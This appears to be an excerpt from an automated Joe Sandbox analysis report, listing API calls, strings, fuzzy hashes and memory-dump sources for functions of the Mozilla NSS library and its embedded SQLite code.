PR_Now.NSS3(?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CD08FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CD08FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CD09013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CD09042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CD0905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CD09073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CD090EC

Part of subcall function 6CCD0F00: PR_GetPageSize.NSS3(6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CCD0F1B
Part of subcall function 6CCD0F00: PR_NewLogModule.NSS3(clock,6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CCD0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CD09111

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: a04f4f81747ddb9d6c16b2f972aaab86a45c54f020a6b747d59e63b752008132
Instruction ID: 27e56dd4fade6c747106da6bebb5450fcd794101ed13ff0e2169df579165a8fc
Opcode Fuzzy Hash: a04f4f81747ddb9d6c16b2f972aaab86a45c54f020a6b747d59e63b752008132
Instruction Fuzzy Hash: 81517BB1B04615CFDF00EF38C488699BBF4AF49318F05456ADD489B766EB30E885CB92

Function 6CCE7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CCE3F7F,?,00000055,?,?,6CCE1666,?,?), ref: 6CCE40D9
Part of subcall function 6CCE40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CCE1666,?,?), ref: 6CCE40FC
Part of subcall function 6CCE40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CCE1666,?,?), ref: 6CCE4138

PR_GetCurrentThread.NSS3 ref: 6CCE7CFD

Part of subcall function 6CDA9BF0: TlsGetValue.KERNEL32(?,?,?,6CDF0A75), ref: 6CDA9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CE09030), ref: 6CCE7D1B

Part of subcall function 6CD3FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CCE1A3E,00000048,00000054), ref: 6CD3FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CE09048), ref: 6CCE7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CCE7D50
PR_GetCurrentThread.NSS3 ref: 6CCE7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CCE7D7D
free.MOZGLUE(?), ref: 6CCE7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CCE7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CCE7E19

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 239e71dc13e77f55713d3fcbaff810a5dc59e1d605ca982ccf15d4fa7063d36e
Instruction ID: 25b6c8f10eddd539382d28c5f353d0fb9dfa1a1708640c71e279b69cc7363931
Opcode Fuzzy Hash: 239e71dc13e77f55713d3fcbaff810a5dc59e1d605ca982ccf15d4fa7063d36e
Instruction Fuzzy Hash: BB41D672A0011A9BDB008F699C41BAF33A4AF4A35CF0501A4ED09A7752F730EE1597A1

Function 6CCF7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CCF80DD), ref: 6CCF7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CCF80DD), ref: 6CCF7F36
free.MOZGLUE(?,?,?,6CCF80DD), ref: 6CCF7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CCF80DD), ref: 6CCF7F5D
DeleteCriticalSection.KERNEL32(?,6CCF80DD), ref: 6CCF7F94
free.MOZGLUE(?), ref: 6CCF7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CCF80DD), ref: 6CCF7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CCF80DD), ref: 6CCF7FE6
free.MOZGLUE(?,6CCF80DD), ref: 6CCF802D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 837737ebd4c10312e9954d95e0237226ff648243723df13786fafe20d7242f73
Instruction ID: 0286f734480bc466f241957844f605062395e753ed209368429afdac170cf9ac
Opcode Fuzzy Hash: 837737ebd4c10312e9954d95e0237226ff648243723df13786fafe20d7242f73
Instruction Fuzzy Hash: 3A41E972B01250CFEB50AFB99889A4637B5AF5735CF158229E52AC7B40E730E407CBA1

Function 6CD3FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD3FF00

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CD3FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CD3FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CD3FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CD3FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CD3FF8C

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 49a48ead9984548c53bb96bbe16478019e0413453d4bda91dfce8bc75f2269e5
Instruction ID: 9500a5670260e7a8c60d5706c9baf4e52bf8659203506fed55cf0a90eca6108b
Opcode Fuzzy Hash: 49a48ead9984548c53bb96bbe16478019e0413453d4bda91dfce8bc75f2269e5
Instruction Fuzzy Hash: E73102B290132A9BE7108F548C40B5A77E8AF62348F148179EE1C9BB60E771E918C7E1

Function 6CD44DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CD4536F,00000022,?,?,00000000,?), ref: 6CD44E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CD44F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CD44F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CD44FAE
free.MOZGLUE(?), ref: 6CD44FC8

Strings

%s=%s, xrefs: 6CD44F89
%s=%c%s%c, xrefs: 6CD44FA9

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 507f1808a2efe38890f43ea1aa79789b041165a8890787185291ff3b087fb29c
Instruction ID: 6644c48de6ced28c1aa81ec7382673e5d054023e354ee073aac932967176d845
Opcode Fuzzy Hash: 507f1808a2efe38890f43ea1aa79789b041165a8890787185291ff3b087fb29c
Instruction Fuzzy Hash: 8C512761A05199CBEB01CF698490BFFBBF59F42308F28C135EAD4B7A61D325D8858791

Function 6CC87D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC87E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC87E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CC87EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC87F2E

Strings

%s at line %d of [%.10s], xrefs: 6CC87EE7, 6CC87F28
database corruption, xrefs: 6CC87EE2, 6CC87F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC87ED8, 6CC87F08, 6CC87F19

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 46d9d21098f78856c611c9140bfc4c1c8db13f23967255b8d4c43b3c382041b8
Instruction ID: 0d1743a1b12a5526670d542bdee4a5d0348801e3c9c9d1d118dffd0bbb3d2dc3
Opcode Fuzzy Hash: 46d9d21098f78856c611c9140bfc4c1c8db13f23967255b8d4c43b3c382041b8
Instruction Fuzzy Hash: 5D619A70B052059FDB05CF2AC890BAA3BB2BF45308F1445A9EC095BB52F734EC56DBA1

Function 6CC6FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC6FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC6FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC6FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC6FE83

Part of subcall function 6CC6FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CC6FEFA
Part of subcall function 6CC6FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CC6FF3B

Strings

%s at line %d of [%.10s], xrefs: 6CC6FD73, 6CC6FE35
database corruption, xrefs: 6CC6FD6E, 6CC6FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC6FD64, 6CC6FE26

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: cf4b4acbda3c2841138ff6016250d01402f504c037a39a1b8db0446eded9e6c8
Instruction ID: d841fe47cf43757ba95bdb2a1f97560d1acd88287908a8772e6267d5ddfe2385
Opcode Fuzzy Hash: cf4b4acbda3c2841138ff6016250d01402f504c037a39a1b8db0446eded9e6c8
Instruction Fuzzy Hash: 7F517471A002059FDB04CFAAD9D0BAEBBB1FF48308F144069D905ABB56E735ED55CBA0

Function 6CDB2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDB2FFD
sqlite3_initialize.NSS3 ref: 6CDB3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CDB3032
sqlite3_mprintf.NSS3(6CE1AAF9,?), ref: 6CDB3073
sqlite3_free.NSS3(?), ref: 6CDB30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CDB30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CDB30BB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: ca2f3a15450d033d02c1d22cf1f32f7af088e93657c73607bb777272bb12c914
Instruction ID: 700be2238b43167cbe2dacd85680871954856e667a47bef8e7d33a371a11663c
Opcode Fuzzy Hash: ca2f3a15450d033d02c1d22cf1f32f7af088e93657c73607bb777272bb12c914
Instruction Fuzzy Hash: 314190B1600606EBDB00CF25D880A8AB7E5FF48368F158628EC5A97B50EB31F955CBD1

Function 6CCF8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CD0124D,00000001), ref: 6CCF8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CD0124D,00000001), ref: 6CCF8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CD0124D,00000001), ref: 6CCF8D73
PR_Unlock.NSS3(?,?,?,?,?,6CD0124D,00000001), ref: 6CCF8D8C

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CD0124D,00000001), ref: 6CCF8DBA

Strings

KRAM, xrefs: 6CCF8D3E
KRAM, xrefs: 6CCF8CF9

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 3d82348b149790125b560385f22c28d121a91b0cf825941a9e5b50c4df825c76
Instruction ID: c464924e074a1551c410fc575a47bc73f0000a5285bce4a4b920f42dc8419c16
Opcode Fuzzy Hash: 3d82348b149790125b560385f22c28d121a91b0cf825941a9e5b50c4df825c76
Instruction Fuzzy Hash: 082186B56046028FDB44EF7AC48495EB7F0FF46318F1589AAD9A887701E734D843CBA1

Function 6CDF0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CDF0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CDF0EFA

Part of subcall function 6CCDAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CCDAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CDF0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CDF0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CDF0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CDF0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CDF0ED9, 6CDF0EE5, 6CDF0F06, 6CDF0F0B
Aborting, xrefs: 6CDF0EB3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 2ee06aebed66f2e86776eea245007b8758b6c3bd3ac09a145d1a556a47dcb592
Instruction ID: f7b5951c88cf9799aba3d5fa8516b211c0a7a71c0a5ccdb630899ff3d29be15a
Opcode Fuzzy Hash: 2ee06aebed66f2e86776eea245007b8758b6c3bd3ac09a145d1a556a47dcb592
Instruction Fuzzy Hash: 3601C0B6A00128ABDF12AF64EC4589B3F7CEF463A4B014025FD1A87711D635F96086E2

Function 6CDB4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CDB4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDB4DE0

Strings

%s at line %d of [%.10s], xrefs: 6CDB4DDA
API call with %s database connection pointer, xrefs: 6CDB4DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDB4DCB
misuse, xrefs: 6CDB4DD5
invalid, xrefs: 6CDB4DB8

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 9281fe8d09c950209c7a9fe9aa67dd7d74a14a07efc8042abd64a9d100cba21d
Instruction ID: ce86645e9b7eef3e4a225f23095327565310db57b601ca24c22b8e652dcfdd81
Opcode Fuzzy Hash: 9281fe8d09c950209c7a9fe9aa67dd7d74a14a07efc8042abd64a9d100cba21d
Instruction Fuzzy Hash: 7FF0E951F19564ABDB10C315CC21FC637B59F02319F5609A0FE097BE72E229996082D1

Function 6CDB4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CDB4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDB4E4D

Strings

%s at line %d of [%.10s], xrefs: 6CDB4E47
API call with %s database connection pointer, xrefs: 6CDB4E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDB4E38
misuse, xrefs: 6CDB4E42
invalid, xrefs: 6CDB4E25

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: e8d21899db9282d03a462ad2298963ec4a15844b5eb0e004d97cdc93069aeee5
Instruction ID: 10e5dc2e374be51872166ae53942166c5802a4d0fc4083aed3bf4ea8a51c1e94
Opcode Fuzzy Hash: e8d21899db9282d03a462ad2298963ec4a15844b5eb0e004d97cdc93069aeee5
Instruction Fuzzy Hash: 07F02751E4C928AFE7208325DC10FC337A64B02329F2945A1FA0A77EA2D62DD97042D2

Function 6CCE9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CCEA086
EnterCriticalSection.KERNEL32(?), ref: 6CCEA09B
PR_Unlock.NSS3(?), ref: 6CCEA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCEA0E9
TlsGetValue.KERNEL32 ref: 6CCEA11B
EnterCriticalSection.KERNEL32(?), ref: 6CCEA12F
PR_Unlock.NSS3(?), ref: 6CCEA148

